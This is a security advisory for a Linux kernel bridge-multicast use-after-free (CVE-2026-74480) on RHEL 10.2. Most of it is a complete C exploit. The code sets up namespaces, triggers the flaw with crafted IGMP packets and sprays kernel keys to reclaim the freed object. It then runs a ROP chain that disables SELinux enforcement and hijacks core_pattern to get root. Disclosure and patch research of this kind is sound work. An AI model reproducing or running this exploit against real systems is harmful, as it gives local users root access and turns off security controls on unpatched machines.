Summary
Linux bridge multicast could continue walking through a group after deleting it. Under a particular configuration change, the live group list could still point at an entry already scheduled to be freed.
The public exploit targeted Red Hat Enterprise Linux 10.2. The vulnerable logic dated to January 2017 and was fixed upstream in July 2026.
Why it mattered
An unprivileged multicast listener inside a suitable network namespace could trigger the faulty leave sequence after an administrator changed the port mode. Later packet forwarding could touch the freed group, enabling kernel memory corruption and local privilege escalation.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
The fast-leave loop advanced through p->next even after br_multicast_del_pg() removed p. When multicast-to-unicast was turned off, several groups could compare as equal, making subsequent deletions write through links owned by an already-removed group.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1 && !strcmp(argv[1], "--leak-only")) { resolve_addresses(); return 0; } if (argc > 1 && !strcmp(argv[1], "--vuln-trigger")) return run_exploit(1); if (argc > 1 && !strcmp(argv[1], "--disable-selinux")) return run_exploit(0); if (argc > 1 && !strcmp(argv[1], "--core-stage")) return run_exploit(0); if (argc > 1) return root_helper(argv[1]);
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_bridge.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/keyctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <netinet/in.h>
#include <pthread.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_BASE 0xffffffff81000000ULL
#define KERNEL_IMAGE_PAGES 29
#define CPU1_CEA_PHYS_OFFSET 0x3d118f58ULL
/* RHEL 10.2, kernel 6.12.0-211.7.3.el10_2.x86_64. */
#define OFF_PIVOT_RBX 0xa69585ULL
#define OFF_POP_RSI 0x2c9ULL
#define OFF_WRITE_EAX4 0x783a4ULL
#define OFF_WRITE_MODE_0666 0x8f32ceULL
#define OFF_DO_EXIT 0x14ce20ULL
#define OFF_CORE_PATTERN_MODE 0x26b136cULL
#define OFF_SELINUX_STATE 0x344e760ULL
#define KEY_SPEC_PROCESS_KEYRING -2
#define USER_PAYLOAD_LEN 225
#define PG_MGLIST_NEXT 168
#define PG_MGLIST_PPREV 176
#define PG_MCAST_GC_NEXT 208
#define PG_MCAST_DESTROY 224
#define PAYLOAD_OFFSET 24
#define SPRAY_PER_CPU 39
#define RECLAIM_DELAY_US 5500000
#define POLL_FILLERS_PER_CPU 192
#define GC_PADDING_GROUPS 4096
#define EARLY_SPRAY_DELAY_US 5000
static uint64_t kernel_slide;
static uint64_t physmap_base;
static uint64_t cea;
static uint64_t pivot_rbx;
static uint64_t pop_rsi;
static uint64_t write_eax4;
static uint64_t write_mode_0666;
static uint64_t do_exit_addr;
static uint64_t core_pattern_mode;
static uint64_t selinux_enforcing;
static int addresses_resolved;
static long spray_keyring = KEY_SPEC_PROCESS_KEYRING;
static int stage2_ready[2];
static int won_pipe[2];
static int poll_fill_ready[2];
static long long spray_epoch_ns;
static int spray_epoch_armed;
static void die(const char *what);
struct cea_regs15_payload {
uint64_t r15;
uint64_t r14;
uint64_t r13;
uint64_t r12;
uint64_t rbp;
uint64_t rbx;
uint64_t r11;
uint64_t r10;
uint64_t r9;
uint64_t r8;
uint64_t rax;
uint64_t rcx;
uint64_t rdx;
uint64_t rsi;
uint64_t rdi;
};
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void *hold_kmalloc_256(void *argument)
{
struct pollfd entries[60];
int cpu = (int)(intptr_t)argument;
pin_cpu(cpu);
memset(entries, 0, sizeof(entries));
for (size_t i = 0; i < ARRAY_SIZE(entries); i++)
entries[i].fd = -1;
if (write(poll_fill_ready[1], "P", 1) != 1)
return NULL;
(void)poll(entries, ARRAY_SIZE(entries), 60000);
return NULL;
}
static void fill_kmalloc_256_freelists(void)
{
pthread_t thread;
char ready;
int count = POLL_FILLERS_PER_CPU * 2;
if (pipe(poll_fill_ready))
die("pipe poll fill");
for (int i = 0; i < count; i++) {
if (pthread_create(&thread, NULL, hold_kmalloc_256,
(void *)(intptr_t)(i & 1)))
die("pthread_create poll fill");
pthread_detach(thread);
}
for (int i = 0; i < count; i++) {
if (read(poll_fill_ready[0], &ready, 1) != 1)
die("read poll fill ready");
}
usleep(100000);
puts("[+] pinned kmalloc-256 filler objects");
}
static void resolve_addresses(void)
{
if (addresses_resolved)
return;
kernel_slide = leak_image_slide(KERNEL_IMAGE_PAGES);
physmap_base = leak_phys_map_base_stable(11);
cea = physmap_base + CPU1_CEA_PHYS_OFFSET;
pivot_rbx = KERNEL_BASE + OFF_PIVOT_RBX + kernel_slide;
pop_rsi = KERNEL_BASE + OFF_POP_RSI + kernel_slide;
write_eax4 = KERNEL_BASE + OFF_WRITE_EAX4 + kernel_slide;
write_mode_0666 = KERNEL_BASE + OFF_WRITE_MODE_0666 + kernel_slide;
do_exit_addr = KERNEL_BASE + OFF_DO_EXIT + kernel_slide;
core_pattern_mode = KERNEL_BASE + OFF_CORE_PATTERN_MODE + kernel_slide;
selinux_enforcing = KERNEL_BASE + OFF_SELINUX_STATE + kernel_slide;
printf("[+] CEA=%#llx pivot=%#llx\n", (unsigned long long)cea,
(unsigned long long)pivot_rbx);
addresses_resolved = 1;
}
__attribute__((naked, noreturn))
static void spin_stage2(const struct cea_regs15_payload *p __attribute__((unused)))
{
asm volatile(
"mov %rdi, %rax\n\t"
"mov 0x00(%rax), %r15\n\t"
"mov 0x08(%rax), %r14\n\t"
"mov 0x10(%rax), %r13\n\t"
"mov 0x18(%rax), %r12\n\t"
"mov 0x20(%rax), %rbp\n\t"
"mov 0x28(%rax), %rbx\n\t"
"mov 0x30(%rax), %r11\n\t"
"mov 0x38(%rax), %r10\n\t"
"mov 0x40(%rax), %r9\n\t"
"mov 0x48(%rax), %r8\n\t"
"mov 0x58(%rax), %rcx\n\t"
"mov 0x60(%rax), %rdx\n\t"
"mov 0x68(%rax), %rsi\n\t"
"mov 0x70(%rax), %rdi\n\t"
"mov 0x50(%rax), %rax\n\t"
"1: pause\n\t"
"jmp 1b\n\t");
}
static void run_stage2(void)
{
static struct cea_regs15_payload regs;
uint64_t *q = (uint64_t *)®s;
/* br_multicast_gc loads gc_node.next into RBX before the CFH call. */
/*
* hlist_del_init() writes the predecessor pointer to gc_node.next+8,
* so CEA q[1] is unavoidably clobbered immediately before the callback.
* The RHEL pivot executes `push rbx; pop rsp`, then jumps into a normal
* epilogue which skips q[0], consumes q[1] through q[5] as saved
* registers, and returns through q[6].
*/
q[0] = 0;
q[1] = 0;
q[2] = 0;
q[3] = 0;
q[4] = 0;
q[5] = 0;
/*
* The pivot epilogue starts with `xor eax,eax`, so the first compact store
* clears selinux_state.enforcing without needing a value-pop gadget. The
* second compact gadget executes:
*
* mov eax, 0x1b6; mov word ptr [rsi], ax;
* xor eax, eax; jmp __x86_return_thunk
*
* A 16-bit write is exact for ctl_table.mode and preserves the adjacent
* sysctl flags. Both policy changes therefore fit in the single CEA frame
* produced by the assigned UAF; do_exit is the non-returning tail.
*/
q[6] = pop_rsi;
q[7] = selinux_enforcing;
q[8] = write_eax4;
q[9] = pop_rsi;
q[10] = core_pattern_mode;
q[11] = write_mode_0666;
q[12] = do_exit_addr;
q[13] = 0;
pin_cpu(1);
if (write(stage2_ready[1], "R", 1) != 1)
_exit(1);
spin_stage2(®s);
}
static int root_helper(const char *pid_string)
{
char flag[4096];
int pid = atoi(pid_string);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int out = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int fd = open("/flag", O_RDONLY);
int proof = open("/tmp/.a397-proof", O_WRONLY | O_CREAT | O_TRUNC,
0644);
ssize_t n;
if (out >= 0)
dup2(out, STDOUT_FILENO);
if (fd < 0)
return 1;
(void)!write(STDOUT_FILENO, "RHEL_FLAG_OK\n", 13);
if (proof >= 0)
(void)!write(proof, "RHEL_FLAG_OK\n", 13);
n = read(fd, flag, sizeof(flag));
if (n > 0) {
char *zero = memchr(flag, 0, n);
if (zero)
n = zero - flag;
(void)!write(STDOUT_FILENO, flag, n);
if (proof >= 0)
(void)!write(proof, flag, n);
if (!n || flag[n - 1] != '\n')
(void)!write(STDOUT_FILENO, "\n", 1);
if (proof >= 0 && (!n || flag[n - 1] != '\n'))
(void)!write(proof, "\n", 1);
}
if (proof >= 0)
close(proof);
return 0;
}
static void prepare_regular_helper(void)
{
int self = open("/proc/self/exe", O_RDONLY);
int helper = open("/tmp/.a397-helper",
O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (self < 0 || helper < 0)
_exit(1);
if (sendfile(helper, self, NULL, 1U << 30) < 0)
_exit(1);
if (fchmod(helper, 0755) < 0)
_exit(1);
close(helper);
close(self);
}
static int selinux_is_disabled(void)
{
char enforcing = '1';
int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
if (fd < 0)
return 0;
(void)!read(fd, &enforcing, 1);
close(fd);
return enforcing == '0';
}
static void watch_payload_ready(void)
{
int fd;
const char pattern[] = "|/tmp/.a397-helper %P";
pin_cpu(0);
if (access("/tmp/.a397-helper", X_OK) < 0)
prepare_regular_helper();
while (!selinux_is_disabled())
usleep(10000);
puts("[+] selinux enforcing is disabled");
while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0)
usleep(10000);
if (write(fd, pattern, sizeof(pattern) - 1) < 0)
_exit(1);
close(fd);
(void)!write(won_pipe[1], "W", 1);
puts("[+] core_pattern is writable");
if (!fork()) {
*(volatile unsigned long *)0 = 0;
_exit(1);
}
sleep(5);
_exit(0);
}
struct nl_buffer {
char data[4096];
char *tail;
struct nlattr *nest[8];
unsigned int depth;
};
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_file(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
die(path);
if (write(fd, value, strlen(value)) != (ssize_t)strlen(value))
die("write_file");
close(fd);
}
static void setup_namespaces(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
die("unshare userns");
write_file("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1", uid);
write_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_file("/proc/self/gid_map", map);
if (unshare(CLONE_NEWNET) < 0)
die("unshare netns");
}
static void nl_init(struct nl_buffer *msg, uint16_t type, uint16_t flags,
const void *payload, size_t payload_len)
{
struct nlmsghdr *nlh;
memset(msg, 0, sizeof(*msg));
nlh = (struct nlmsghdr *)msg->data;
nlh->nlmsg_type = type;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(NLMSG_DATA(nlh), payload, payload_len);
msg->tail = (char *)NLMSG_DATA(nlh) + NLMSG_ALIGN(payload_len);
}
static void nl_attr(struct nl_buffer *msg, uint16_t type,
const void *value, size_t len)
{
struct nlattr *attr = (struct nlattr *)msg->tail;
attr->nla_type = type;
attr->nla_len = sizeof(*attr) + len;
if (len)
memcpy(attr + 1, value, len);
msg->tail += NLA_ALIGN(attr->nla_len);
}
static void nl_nest_start(struct nl_buffer *msg, uint16_t type)
{
struct nlattr *attr = (struct nlattr *)msg->tail;
attr->nla_type = type;
msg->tail += sizeof(*attr);
msg->nest[msg->depth++] = attr;
}
static void nl_nest_end(struct nl_buffer *msg)
{
struct nlattr *attr = msg->nest[--msg->depth];
attr->nla_len = msg->tail - (char *)attr;
}
static int nl_send(int fd, struct nl_buffer *msg)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)msg->data;
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
ssize_t size;
if (msg->depth || msg->tail > msg->data + sizeof(msg->data)) {
errno = EOVERFLOW;
return -1;
}
nlh->nlmsg_len = msg->tail - msg->data;
size = sendto(fd, msg->data, nlh->nlmsg_len, 0,
(struct sockaddr *)&addr, sizeof(addr));
if (size != (ssize_t)nlh->nlmsg_len)
return -1;
size = recv(fd, msg->data, sizeof(msg->data), 0);
if (size < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr)))
return -1;
nlh = (struct nlmsghdr *)msg->data;
if (nlh->nlmsg_type != NLMSG_ERROR) {
errno = EPROTO;
return -1;
}
errno = -((struct nlmsgerr *)NLMSG_DATA(nlh))->error;
return errno ? -1 : 0;
}
static void add_bridge(int fd, const char *name)
{
struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
struct nl_buffer msg;
uint8_t enabled = 1;
nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL,
&info, sizeof(info));
nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1);
nl_nest_start(&msg, IFLA_LINKINFO);
nl_attr(&msg, IFLA_INFO_KIND, "bridge", sizeof("bridge"));
nl_nest_start(&msg, IFLA_INFO_DATA);
nl_attr(&msg, IFLA_BR_MCAST_SNOOPING, &enabled, sizeof(enabled));
nl_nest_end(&msg);
nl_nest_end(&msg);
if (nl_send(fd, &msg) < 0)
die("add bridge");
}
static void add_veth(int fd, const char *name, const char *peer)
{
struct ifinfomsg info = { .ifi_family = AF_UNSPEC };
struct ifinfomsg peer_info = { .ifi_family = AF_UNSPEC };
struct nl_buffer msg;
nl_init(&msg, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL,
&info, sizeof(info));
nl_attr(&msg, IFLA_IFNAME, name, strlen(name) + 1);
nl_nest_start(&msg, IFLA_LINKINFO);
nl_attr(&msg, IFLA_INFO_KIND, "veth", sizeof("veth"));
nl_nest_start(&msg, IFLA_INFO_DATA);
nl_nest_start(&msg, VETH_INFO_PEER);
memcpy(msg.tail, &peer_info, sizeof(peer_info));
msg.tail += NLMSG_ALIGN(sizeof(peer_info));
nl_attr(&msg, IFLA_IFNAME, peer, strlen(peer) + 1);
nl_nest_end(&msg);
nl_nest_end(&msg);
nl_nest_end(&msg);
if (nl_send(fd, &msg) < 0)
die("add veth");
}
static void set_link(int fd, const char *name, int master, int up)
{
struct ifinfomsg info = {
.ifi_family = AF_UNSPEC,
.ifi_index = if_nametoindex(name),
.ifi_flags = up ? IFF_UP : 0,
.ifi_change = up ? IFF_UP : 0,
};
struct nl_buffer msg;
if (!info.ifi_index)
die("if_nametoindex");
nl_init(&msg, RTM_NEWLINK, 0, &info, sizeof(info));
if (master >= 0)
nl_attr(&msg, IFLA_MASTER, &master, sizeof(master));
if (nl_send(fd, &msg) < 0)
die("set link");
}
static void set_bridge_port_flags(int fd, const char *name,
uint8_t fast_leave, uint8_t to_unicast)
{
struct ifinfomsg info = {
.ifi_family = AF_BRIDGE,
.ifi_index = if_nametoindex(name),
};
struct nl_buffer msg;
nl_init(&msg, RTM_SETLINK, 0, &info, sizeof(info));
nl_nest_start(&msg, IFLA_PROTINFO | NLA_F_NESTED);
nl_attr(&msg, IFLA_BRPORT_FAST_LEAVE, &fast_leave, sizeof(fast_leave));
nl_attr(&msg, IFLA_BRPORT_MCAST_TO_UCAST, &to_unicast,
sizeof(to_unicast));
nl_nest_end(&msg);
if (nl_send(fd, &msg) < 0)
die("set bridge port flags");
}
static uint16_t checksum(const void *buffer, size_t len)
{
const uint16_t *word = buffer;
uint32_t sum = 0;
while (len > 1) {
sum += *word++;
len -= 2;
}
if (len)
sum += *(const uint8_t *)word;
sum = (sum & 0xffff) + (sum >> 16);
sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
struct igmp_packet {
struct ethhdr eth;
uint8_t version_ihl;
uint8_t tos;
uint16_t total_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t ip_checksum;
uint32_t source;
uint32_t destination;
uint8_t router_alert[4];
uint8_t igmp_type;
uint8_t max_response;
uint16_t igmp_checksum;
uint32_t group;
} __attribute__((packed));
static void send_igmp(int packet_fd, int ifindex, const uint8_t source_mac[6],
const char *source_ip, int leave)
{
static const uint8_t group_mac[6] = { 1, 0, 0x5e, 1, 1, 1 };
static const uint8_t routers_mac[6] = { 1, 0, 0x5e, 0, 0, 2 };
struct sockaddr_ll address = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IP),
.sll_ifindex = ifindex,
.sll_halen = ETH_ALEN,
};
struct igmp_packet packet;
const uint8_t *destination_mac = leave ? routers_mac : group_mac;
memset(&packet, 0, sizeof(packet));
memcpy(packet.eth.h_source, source_mac, ETH_ALEN);
memcpy(packet.eth.h_dest, destination_mac, ETH_ALEN);
packet.eth.h_proto = htons(ETH_P_IP);
packet.version_ihl = 0x46;
packet.total_len = htons(sizeof(packet) - sizeof(packet.eth));
packet.ttl = 1;
packet.protocol = IPPROTO_IGMP;
if (inet_pton(AF_INET, source_ip, &packet.source) != 1)
die("inet_pton source");
if (inet_pton(AF_INET, leave ? "224.0.0.2" : "239.1.1.1",
&packet.destination) != 1)
die("inet_pton destination");
packet.router_alert[0] = 0x94;
packet.router_alert[1] = 0x04;
packet.ip_checksum = checksum(&packet.version_ihl,
sizeof(packet) - sizeof(packet.eth) - 8);
packet.igmp_type = leave ? 0x17 : 0x16;
if (inet_pton(AF_INET, "239.1.1.1", &packet.group) != 1)
die("inet_pton group");
packet.igmp_checksum = checksum(&packet.igmp_type, 8);
memcpy(address.sll_addr, destination_mac, ETH_ALEN);
if (__atomic_exchange_n(&spray_epoch_armed, 0, __ATOMIC_ACQ_REL)) {
struct timespec epoch;
clock_gettime(CLOCK_MONOTONIC, &epoch);
__atomic_store_n(&spray_epoch_ns,
(long long)epoch.tv_sec * 1000000000LL +
epoch.tv_nsec,
__ATOMIC_RELEASE);
}
if (sendto(packet_fd, &packet, sizeof(packet), 0,
(struct sockaddr *)&address, sizeof(address)) != sizeof(packet))
die("sendto IGMP");
}
struct spray_arg {
int cpu;
int first;
unsigned char payload[USER_PAYLOAD_LEN];
};
static long key_serials[SPRAY_PER_CPU * 2];
static struct spray_arg spray_args[2];
static pthread_t spray_threads[2];
static int spray_ready[2];
static int spray_go[2];
static int spray_success[2];
static int spray_failure[2];
static void prepare_spray_keys(void)
{
char description[64];
unsigned char byte = 0;
for (int i = 0; i < (int)ARRAY_SIZE(key_serials); i++) {
snprintf(description, sizeof(description), "br-holder-%d-%d",
getpid(), i);
key_serials[i] = syscall(SYS_add_key, "user", description, &byte,
sizeof(byte), spray_keyring);
if (key_serials[i] < 0)
die("prepare add_key");
}
puts("[+] prepared update-only key spray");
}
static void payload_put64(unsigned char *payload, size_t object_offset,
uint64_t value)
{
memcpy(payload + object_offset - PAYLOAD_OFFSET, &value, sizeof(value));
}
static void *spray_keys(void *argument)
{
struct spray_arg *arg = argument;
struct timespec now;
long long deadline;
char byte;
pin_cpu(arg->cpu);
if (write(spray_ready[1], "S", 1) != 1)
return NULL;
if (read(spray_go[0], &byte, 1) != 1)
return NULL;
do {
deadline = __atomic_load_n(&spray_epoch_ns, __ATOMIC_ACQUIRE);
asm volatile("pause");
} while (!deadline);
deadline += EARLY_SPRAY_DELAY_US * 1000LL;
do {
clock_gettime(CLOCK_MONOTONIC, &now);
} while ((long long)now.tv_sec * 1000000000LL + now.tv_nsec < deadline);
for (int i = 0; i < SPRAY_PER_CPU; i++) {
int index = arg->first + i;
if (syscall(SYS_keyctl, KEYCTL_UPDATE, key_serials[index],
arg->payload, sizeof(arg->payload)) < 0) {
spray_failure[arg->cpu]++;
fprintf(stderr, "[-] key update %d failed: %s\n",
index, strerror(errno));
} else {
spray_success[arg->cpu]++;
}
}
return NULL;
}
static void check_reclaimed_key(void)
{
unsigned char payload[USER_PAYLOAD_LEN];
int count = ARRAY_SIZE(key_serials);
for (int i = 0; i < count; i++) {
long length;
if (!key_serials[i])
continue;
memset(payload, 0xff, sizeof(payload));
length = syscall(SYS_keyctl, KEYCTL_READ, key_serials[i], payload,
sizeof(payload));
if (length == sizeof(payload)) {
size_t changed = 0;
while (changed < sizeof(payload) &&
payload[changed] == spray_args[0].payload[changed])
changed++;
if (changed != sizeof(payload)) {
printf("[+] reclaimed/modified key %d at object offset %zu "
"(%#x -> %#x)\n", i, changed + PAYLOAD_OFFSET,
spray_args[0].payload[changed], payload[changed]);
return;
}
}
}
puts("[-] no sprayed key observed the stale-object writes");
}
static void arm_reclaim_workers(void)
{
char ready;
if (pipe(spray_ready) || pipe(spray_go))
die("pipe reclaim workers");
memset(spray_args, 0, sizeof(spray_args));
for (int cpu = 0; cpu < 2; cpu++) {
spray_args[cpu].cpu = cpu;
spray_args[cpu].first = cpu * SPRAY_PER_CPU;
payload_put64(spray_args[cpu].payload, PG_MCAST_GC_NEXT, cea);
payload_put64(spray_args[cpu].payload, PG_MCAST_DESTROY,
pivot_rbx);
if (pthread_create(&spray_threads[cpu], NULL, spray_keys,
&spray_args[cpu]))
die("pthread_create spray");
}
for (int cpu = 0; cpu < 2; cpu++) {
if (read(spray_ready[0], &ready, 1) != 1)
die("read spray ready");
}
}
static void start_reclaim_workers(void)
{
__atomic_store_n(&spray_epoch_ns, 0, __ATOMIC_RELEASE);
__atomic_store_n(&spray_epoch_armed, 1, __ATOMIC_RELEASE);
if (write(spray_go[1], "GG", 2) != 2)
die("write spray go");
}
static void finish_reclaim_workers(void)
{
pthread_join(spray_threads[0], NULL);
pthread_join(spray_threads[1], NULL);
printf("[+] user-key reclaim spray complete "
"(cpu0 ok=%d fail=%d, cpu1 ok=%d fail=%d)\n",
spray_success[0], spray_failure[0],
spray_success[1], spray_failure[1]);
}
static int run_exploit(int trigger_only)
{
static const uint8_t mac_a[6] = { 2, 0, 0, 0, 0, 0x0a };
static const uint8_t mac_b[6] = { 2, 0, 0, 0, 0, 0x0b };
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
int netlink_fd;
int packet_fd;
int bridge_index;
struct timespec second_before;
struct timespec second_after;
struct timespec padding_before;
struct timespec padding_after;
pid_t watcher = -1;
pid_t seeder = -1;
char ready;
if (!trigger_only) {
if (pipe(stage2_ready) || pipe(won_pipe))
die("pipe");
watcher = fork();
if (watcher < 0)
die("fork watcher");
if (!watcher)
watch_payload_ready();
resolve_addresses();
pin_cpu(0);
mlockall(MCL_CURRENT);
}
setup_namespaces();
if (!trigger_only)
prepare_spray_keys();
netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (netlink_fd < 0 || bind(netlink_fd, (struct sockaddr *)&local,
sizeof(local)) < 0)
die("route netlink");
add_bridge(netlink_fd, "br0");
add_veth(netlink_fd, "veth0", "veth0p");
add_veth(netlink_fd, "veth1", "veth1p");
bridge_index = if_nametoindex("br0");
if (!bridge_index)
die("bridge index");
set_link(netlink_fd, "lo", -1, 1);
set_link(netlink_fd, "br0", -1, 1);
set_link(netlink_fd, "veth0", bridge_index, 1);
set_link(netlink_fd, "veth0p", -1, 1);
set_link(netlink_fd, "veth1", bridge_index, 1);
set_link(netlink_fd, "veth1p", -1, 1);
set_bridge_port_flags(netlink_fd, "veth0", 1, 1);
if (!trigger_only)
fill_kmalloc_256_freelists();
packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (packet_fd < 0)
die("packet socket");
if (!trigger_only)
pin_cpu(1);
send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 0);
send_igmp(packet_fd, if_nametoindex("veth0p"), mac_b, "10.0.0.11", 0);
usleep(200000);
set_bridge_port_flags(netlink_fd, "veth0", 1, 0);
send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 1);
puts("first leave sent");
/*
* The stale port group is still covered by its first kfree_rcu grace
* period here. Append live port groups behind it while its allocation
* cannot yet be reused. The second vulnerable walk deletes the stale
* entry first and these live entries afterwards. Since del_pg adds at
* the head of mcast_gc_list, GC destroys all padding entries before it
* reaches the reclaimed stale entry. This converts the tiny
* sendto-to-system_long_wq race into a scheduler-sized reclaim window.
* Build the padding on CPU 0 so that the CPU 1 kmalloc-256 slab which
* contains the stale object remains the allocation slab used by the
* concurrent CPU 1 key reclaim. The second leave itself runs on CPU 0;
* its long deletion walk holds the multicast lock while CPU 1 replaces
* the stale object, so the GC worker cannot consume the callback first.
*/
if (!trigger_only) {
pin_cpu(0);
set_bridge_port_flags(netlink_fd, "veth0", 1, 1);
clock_gettime(CLOCK_MONOTONIC, &padding_before);
for (unsigned int i = 0; i < GC_PADDING_GROUPS; i++) {
uint8_t padding_mac[6] = {
2, 0x51, (uint8_t)(i >> 24), (uint8_t)(i >> 16),
(uint8_t)(i >> 8), (uint8_t)i,
};
send_igmp(packet_fd, if_nametoindex("veth0p"), padding_mac,
"10.0.0.12", 0);
}
clock_gettime(CLOCK_MONOTONIC, &padding_after);
set_bridge_port_flags(netlink_fd, "veth0", 1, 0);
printf("[+] appended %u GC padding groups in %lld us\n",
GC_PADDING_GROUPS,
((long long)padding_after.tv_sec * 1000000000LL +
padding_after.tv_nsec -
((long long)padding_before.tv_sec * 1000000000LL +
padding_before.tv_nsec)) / 1000);
seeder = fork();
if (seeder < 0)
die("fork stage2");
if (!seeder)
run_stage2();
if (read(stage2_ready[0], &ready, 1) != 1)
die("read stage2 ready");
arm_reclaim_workers();
}
usleep(RECLAIM_DELAY_US);
if (!trigger_only)
start_reclaim_workers();
clock_gettime(CLOCK_MONOTONIC, &second_before);
send_igmp(packet_fd, if_nametoindex("veth0p"), mac_a, "10.0.0.10", 1);
clock_gettime(CLOCK_MONOTONIC, &second_after);
printf("[.] second leave syscall %lld -> %lld ns\n",
(long long)second_before.tv_sec * 1000000000LL +
second_before.tv_nsec,
(long long)second_after.tv_sec * 1000000000LL +
second_after.tv_nsec);
puts("second leave sent");
if (trigger_only) {
sleep(6);
return 0;
}
finish_reclaim_workers();
check_reclaimed_key();
{
fd_set set;
struct timeval timeout = { .tv_sec = 8 };
FD_ZERO(&set);
FD_SET(won_pipe[0], &set);
if (select(won_pipe[0] + 1, &set, NULL, NULL, &timeout) > 0) {
char proof[4096];
int proof_fd;
ssize_t proof_len;
int payload_ok = 0;
sleep(5);
proof_fd = open("/tmp/.a397-proof", O_RDONLY);
if (proof_fd >= 0) {
proof_len = read(proof_fd, proof, sizeof(proof));
if (proof_len > 0) {
(void)!write(STDOUT_FILENO, proof, proof_len);
payload_ok = 1;
}
close(proof_fd);
}
/*
* The seeder inherited this phase's process keyring. Once the
* callback has reached its non-returning tail (and, in stage two,
* the helper finished), release the seeder reference so retries
* do not retain an otherwise idle namespace.
*/
(void)syscall(SYS_keyctl, KEYCTL_CLEAR, spray_keyring);
if (seeder > 0) {
kill(seeder, SIGKILL);
(void)waitpid(seeder, NULL, 0);
}
return payload_ok ? 0 : 1;
}
}
fprintf(stderr, "[-] exploit timed out\n");
if (seeder > 0)
kill(seeder, SIGKILL);
if (watcher > 0)
kill(watcher, SIGKILL);
return 1;
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
if (argc > 1 && !strcmp(argv[1], "--leak-only")) {
resolve_addresses();
return 0;
}
if (argc > 1 && !strcmp(argv[1], "--vuln-trigger"))
return run_exploit(1);
if (argc > 1 && !strcmp(argv[1], "--disable-selinux"))
return run_exploit(0);
if (argc > 1 && !strcmp(argv[1], "--core-stage"))
return run_exploit(0);
if (argc > 1)
return root_helper(argv[1]);
return run_exploit(0);
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in July 2026. The corrected traversal no longer follows list links through an object after deletion. Install the RHEL kernel update carrying the upstream July 2026 fix; the demo’s exact build identifies the research target, not a claim about later RHEL kernels.
The safest check is the distribution’s own kernel changelog for CVE-2026-74480;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
